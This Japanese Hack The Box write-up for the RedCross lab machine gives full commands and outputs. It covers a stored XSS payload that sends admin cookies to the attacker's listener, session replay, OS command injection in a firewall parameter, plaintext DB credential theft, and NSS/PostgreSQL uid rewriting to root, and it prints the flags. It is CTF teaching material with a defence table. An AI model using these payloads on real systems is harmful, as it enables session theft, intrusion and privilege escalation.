Hack The BoxのWriteup(RedCross)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: RedCross — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/443 + filtered多数
→
XSS (cback欄)
管理者クッキー窃取
→
admin.redcross.htb
セッション流用ログイン
→
firewall OSコマンド注入
www-data RCE
→
unixusrmgr DB資格情報
ソースから直接取得
→
仮想ユーザー gid=0
root グループ化
→
unixnssroot入手
nss-pgsql-root.conf
→
uid=0書換え+改名
同一SSHセッション内su
→
user.txt + root.txt ✓

Nmap バージョン・スクリプトスキャン

BASH
nmap -sV -sC -p 21,22,25,80,443,1025,3306,5432,8080 10.129.76.97
RESULT
PORT     STATE    SERVICE
21/tcp   filtered ftp
22/tcp   open     ssh        OpenSSH 7.9p1 Debian
25/tcp   filtered smtp
80/tcp   open     http       Apache httpd 2.4.38
443/tcp  open     ssl/http   Apache httpd 2.4.38
| ssl-cert: Subject: commonName=intra.redcross.htb
1025/tcp filtered NFS-or-IIS
3306/tcp filtered mysql
5432/tcp filtered postgresql
8080/tcp filtered http-proxy
🚨
重要発見: 21/25/1025/3306/5432/8080が filtered (ファイアウォールでブロック中) であることが、後に判明する「管理パネルの IP許可リスト機能」の存在を強く示唆している。SSL証明書のCommonNameから vhost intra.redcross.htb も判明。
BASH
echo "10.129.76.97 redcross.htb intra.redcross.htb admin.redcross.htb" >> /etc/hosts
curl -sk https://intra.redcross.htb/
RESULT
<h2>RedCross Messaging Intranet</h2>
<h3>Employees & providers portal</h3>
... <a href='?page=contact'>contact form</a> ...
<p>Web messaging system 0.3b</p>
PHASE 2

Contact form の “cback” 欄にXSS → 管理者クッキー窃取

Contact form の構造確認

BASH
curl -skL "https://intra.redcross.htb/?page=contact"
RESULT
<form method='POST' action='pages/actions.php'>
  <input type=text name='subject' value='Request'>
  <textarea name='body' ...>Details</textarea>
  <input type=text name='cback' value='contact phone or email'>
  <input type='submit' name='action' value='contact'>
</form>
ℹ️
フィールドは subject・body・cback (連絡先電話/メール欄) の3つ。subjectとbodyには フィルタがあるが cback だけフィルタが無い。

リスナー準備とXSSペイロード送信

BASH
# Kali側: コールバック受信用HTTPサーバー
python3 -m http.server 8899

# XSSペイロードをcbackへ送信
curl -sk -X POST "https://intra.redcross.htb/pages/actions.php" \
  --data-urlencode "subject=Help needed" \
  --data-urlencode "body=Please review my request" \
  --data-urlencode "cback=<script>var i=new Image();i.src='http://10.10.15.200:8899/c?'+document.cookie;</script>" \
  --data-urlencode "action=contact"
RESULT
Contact request sent.

管理者botの巡回を待機 → クッキー捕捉

NOTE
管理者(botまたは自動処理)が新規メッセージを定期的に確認しており、
保存型XSSが発火する。今回の検証では1分以内にコールバックが到着した。
RESULT (リスナーログ)
10.129.76.97 - - "GET /c?PHPSESSID=ng7oijmij4old0mohi6chahmb5;%20LANG=EN_US;
%20SINCE=1791278227;%20LIMIT=10;%20DOMAIN=admin HTTP/1.1" 404 -
✅
窃取成功! 管理者セッションの5つのクッキー値を全て入手。 404が返っていても document.cookie の値自体はURLのクエリ 文字列として既に送信済みなので問題ない。
窃取した管理者クッキー
PHPSESSID=…; LANG=EN_US; SINCE=…; LIMIT=10; DOMAIN=admin
PHASE 3

盗んだクッキーで管理パネルへセッション認証突破

管理パネルへのアクセス

BASH
curl -sk "https://admin.redcross.htb/" \
  -b "PHPSESSID=ng7oijmij4old0mohi6chahmb5; LANG=EN_US; SINCE=1791278227; LIMIT=10; DOMAIN=admin"
RESULT
<h2>IT Admin panel</h2>
<h3>Authorized personnel only</h3>
<p style='font-size:75%'>[[admin]]</p>
<a href='/?page=users'>User Management</a>
<a href='/?page=firewall'>Network Access</a>
✅
認証突破成功! [[admin]]としてログイン済み。 “User Management” と “Network Access” の2機能が使える。
PHASE 4

Firewall機能のOSコマンド注入でRCE (www-data)

Network Access (firewall) の構造確認

BASH
COOKIE="PHPSESSID=...; LANG=EN_US; SINCE=...; LIMIT=10; DOMAIN=admin"
curl -sk "https://admin.redcross.htb/?page=firewall" -b "$COOKIE"
RESULT
Whitelist IP Address: <input name='ip'> <submit value='Allow IP'>
BASH
# 自分のIPを許可リストに追加してみる
curl -sk -X POST "https://admin.redcross.htb/pages/actions.php" -b "$COOKIE" \
  --data-urlencode "ip=10.10.15.200" --data-urlencode "action=Allow IP"
RESULT
DEBUG: All checks passed... Executing iptables
Network access granted to 10.10.15.200
BASH
# 許可後に実際にポートが開くか確認
nmap -Pn -p 21,1025,5432 10.129.76.97
RESULT
21/tcp   open ftp
1025/tcp open NFS-or-IIS
5432/tcp open postgresql
ℹ️
“Allow IP” はDBへ新規行(UID/IP/認証時刻)を追加し、裏で /opt/iptctl/iptctl allow <ip> を実行する。再取得した firewallページには、その行を削除するための**隠しフォーム** (ip+id+action=deny) が 表示される。

deny アクションの ip パラメータへコマンド注入

BASH
# firewallページから新規行のidを取得 (例: id=12)
curl -sk -X POST "https://admin.redcross.htb/pages/actions.php" -b "$COOKIE" \
  --data-urlencode "ip=10.10.15.200; id;" --data-urlencode "id=12" --data-urlencode "action=deny"
RESULT
DEBUG: All checks passed... Executing iptables
Network access restricted to 10.10.15.200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
🚨
RCE成功! /opt/iptctl/iptctl のC実装自体は execvpで安全に書かれているが、呼び出し元PHPが $ipをシェルエスケープせずsystem()に渡している ため、”allow”直後に新規作成されるDB行を削除する”deny”アクションの ip値にセミコロン区切りで任意コマンドを注入できる。 注入したコマンドの標準出力はHTTPレスポンスへそのまま反映される ため、以降の調査はリバースシェル無しで直接コマンド結果を取得できる。
⚠️
“deny”は該当DB行を実際に削除するため、同じidは 再利用できない。追加のコマンドを注入するには毎回 “Allow IP”→新しいid取得→”deny”注入を繰り返す必要がある。
PHASE 5

PostgreSQL-NSS資格情報の発見と仮想ユーザー作成

管理パネルソースからunixusrmgrの資格情報を取得

BASH
# コマンド注入経由で管理パネルのPHPソースをgrep
curl -sk -X POST "https://admin.redcross.htb/pages/actions.php" -b "$COOKIE" \
  --data-urlencode 'ip=10.10.15.200; grep -o "user=unixusrmgr password=[^\"]*" /var/www/html/admin/pages/actions.php;' \
  --data-urlencode "id=25" --data-urlencode "action=deny"
RESULT
user=unixusrmgr password=dheu%7wjx8B&
ℹ️
このマシンは認証をローカルファイルではなくPostgreSQLに統合する libnss-pgsql2 (NSS-PostgreSQL) 構成を採っている。 passwd_tableへユーザー行をINSERT/UPDATEできる unixusrmgrロールの資格情報が平文でソースに 埋め込まれている。

User Management機能で仮想ユーザーを作成

BASH
curl -sk -X POST "https://admin.redcross.htb/pages/actions.php" -b "$COOKIE" \
  --data-urlencode "username=kcr92208" --data-urlencode "action=adduser"
RESULT
Provide this credentials to the user:
kcr92208 : Ex3Bmysk
ℹ️
“Add virtual user” は passwd_table へ新規行をINSERTし ランダムなパスワードを生成する。デフォルトのgidは 1001 (“associates” グループ) で割り当てられる。

unixusrmgrでgidを0に書き換え (root グループ化)

NOTE
\dp passwd_table で権限を確認すると、unixusrmgrは
username/passwd/gid/homedir列にのみINSERT/UPDATE可 (uid列は対象外)。
作成した仮想ユーザーのgidを0に書き換えると、SSHログイン時にそのユーザーが
rootグループのメンバーとして扱われる。
BASH
curl -sk -X POST "https://admin.redcross.htb/pages/actions.php" -b "$COOKIE" \
  --data-urlencode 'ip=10.10.15.200; PGPASSWORD='"'"'dheu%7wjx8B&'"'"' psql -h 127.0.0.1 -U unixusrmgr -d unix -c "update passwd_table set gid=0 where username='"'"'kcr92208'"'"';";' \
  --data-urlencode "id=33" --data-urlencode "action=deny"
RESULT
DEBUG: All checks passed... Executing iptables
Network access restricted to 10.10.15.200
UPDATE 1
⚠️
ハマりやすい点: PHPのsystem()越しに さらにpsqlへ渡すSQL文字列をクォートする際、二重引用符の エスケープを誤ると(例: バックスラッシュを1つ多く入れる)、 ターゲットのシェルに実際の引用符が渡らずUPDATE文 全体が空白で分断され、SQL自体が一度も実行されない。必ず最終的に ターゲットへ送られる生の文字列を目視確認すること。
PHASE 6

gid=0でSSH → unixnssroot入手 → uid=0書換え+改名 → su → フラグ取得

gid=0の仮想ユーザーでSSHログイン

BASH
ssh kcr92208@10.129.76.97
# Password: Ex3Bmysk
$ id
RESULT
uid=2022(kcr92208) gid=0(root) groups=0(root)
✅
rootグループとしてログインできた。gidを先に0にしておいたため、 SSHのChrootDirectory的な制限(gid=1001″associates”の ユーザーは/var/jail相当へ閉じ込められpsql バイナリすら存在しない)を回避できている。

root専用config読取でunixnssrootを入手

BASH
$ cat /etc/nss-pgsql-root.conf
RESULT
connectionstring = hostaddr=127.0.0.1 dbname=unix
  user=unixnssroot password=30jdsklj4d_3 connect_timeout=1
ℹ️
このファイルは root:root, 660 (グループ読取可) で 保護されているため、rootグループのメンバーであれば読める。 unixnssrootロールは全列(uid列含む)に INSERT/UPDATE/DELETE権限を持つ。

uid=0への書換え + 未参照ユーザー名への改名

NOTE
nscdがユーザー名ごとにpasswd情報を600秒キャッシュするため、
既にSSHログイン済みの"kcr92208"のままuidだけ変更しても、再ログイン時に
キャッシュされた古いuidが返ってしまう。また OpenSSH の
PermitRootLogin はユーザー名でなくUIDでrootログインを
判定するため、uid=0になった状態で直接SSHしようとすると拒否される。
これを両方同時に回避するため、uid=0への書換えと**同時に**usernameを
一度も参照されていない新しい名前へ改名する。
BASH
# 同じSSHセッションを維持したまま実行する (再接続しない)
$ PGPASSWORD='30jdsklj4d_3' psql -h 127.0.0.1 -U unixnssroot -d unix -c \
  "update passwd_table set uid=0, username='kcr92208r' where username='kcr92208';"
RESULT
UPDATE 1

同一セッションから su → root化

BASH
# 接続を切らずに、改名後の新しいユーザー名へ su する
$ su kcr92208r
Password: Ex3Bmysk
RESULT
kcr92208r@redcross:~# id
uid=0(kcr92208r) gid=0(root) groups=0(root)
✅
root化成功! suはOSレベルで常にその場で NSSへ新規に問い合わせるため、一度もキャッシュされていない新しい ユーザー名に対しては正しくuid=0が反映される。かつ suはPermitRootLoginの制限を受けないため (SSHの直接ログインではないため) 問題なく成功する。

root.txt と user.txt の取得

BASH
kcr92208r@redcross:~# cat /root/root.txt
kcr92208r@redcross:~# cat /home/penelope/user.txt
RESULT
ee855082331ecacf700f164704bda1f4
21e274135280b203644d661c205aacab
ℹ️
公開writeupの想定ルートではpenelopeのuser.txtへHaraka SMTP サーバー(ポート1025)のRCE(Exploit-DB #41162)経由で到達するが、 今回のrootシェルからは/home/penelope/user.txtも 直接読めるため、Harakaエクスプロイトを使わずに両方のフラグへ 到達できることを確認した。
user.txt — penelope
21e274135280b203644d661c205aacab
root.txt — root@redcross
ee855082331ecacf700f164704bda1f4
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — penelope
21e274135280b203644d661c205aacab
root.txt — root@redcross
ee855082331ecacf700f164704bda1f4

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
保存型XSS intra.redcross.htb Contact form “cback”欄 管理者セッションクッキーの窃取 Critical 他欄にはフィルタがあるがcbackのみ未フィルタ、画像タグのsrcへdocument.cookieを埋め込みコールバック
セッション固定・再利用 admin.redcross.htb のセッション管理 盗んだクッキーでの認証突破 High IPアドレスやUser-Agentのバインド無しに同じPHPSESSIDをそのまま再利用可能
OSコマンド注入 firewall “deny” アクションの ip パラメータ リモートコード実行 (www-data) Critical system()呼び出し時に$ipをシェルエスケープせず渡しているためセミコロンで任意コマンド注入
DB資格情報の平文ソース埋め込み admin/pages/actions.php unixusrmgr DBロールの資格情報漏洩 High www-data権限でのRCEを使いPHPソースをgrepするだけで読み取れる
PostgreSQL-NSS列権限の設計不備 + UID/キャッシュ競合 passwd_table (libnss-pgsql2) 一般ユーザーからrootへの権限昇格 Critical gid列書込可→rootグループ化→root専用configでより強い資格情報入手→uid=0書換え+改名+同一セッションsuでPermitRootLogin/nscdキャッシュを両方回避

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap -sV -sC22/80/443 open、21/25/1025/3306/5432/8080 filtered
2XSScontact form “cback”欄 + Imageタグ管理者PHPSESSID等のセッションクッキー
3管理パネル侵入クッキー流用[[admin]]セッションでログイン
4RCEfirewall “deny”のip パラメータへOSコマンド注入www-data権限でのコマンド実行
5資格情報収集PHPソースgrep + adduser機能unixusrmgr DB資格情報 + 仮想ユーザー(gid=0)
6権限昇格nss-pgsql-root.conf + uid=0書換え改名 + suuser.txt + root.txt

学んだ教訓 & 防御策

問題点防御策
フォーム欄ごとにフィルタ適用がバラバラ(cbackのみ未フィルタ) 全ての入力欄に一貫したHTMLエスケープ/CSPを適用する。1箇所だけ特別扱いしない。
セッションクッキーがIP/User-Agent等にバインドされず単純に再利用可能 セッション固定情報(IP, UA)をサーバー側で検証し、不一致時は再認証を要求する。HttpOnly/Secure/SameSite属性も徹底する。
管理機能のシェルコマンド構築で入力値をエスケープせずsystem()に渡している 外部コマンド実行には必ずescapeshellarg()を使うか、可能な限りexec()系のargv分離API(シェルを介さない)を使う。
DBの平文資格情報がWebアプリのソースコードに直接埋め込まれている 資格情報は環境変数やシークレット管理(Vault等)で注入し、ソースコードに含めない。
DB列単位の権限分離が複雑で、権限の低いロールでもgid列を自由に書き換えられる 権限分離は「できることの積み上げ」ではなく「全体として何が可能になるか」を評価する。gid/uidのような特権境界に関わる列は、専用の承認フローを経ずに変更できないようにする。
HackTheBox: RedCross | 完全攻略レポート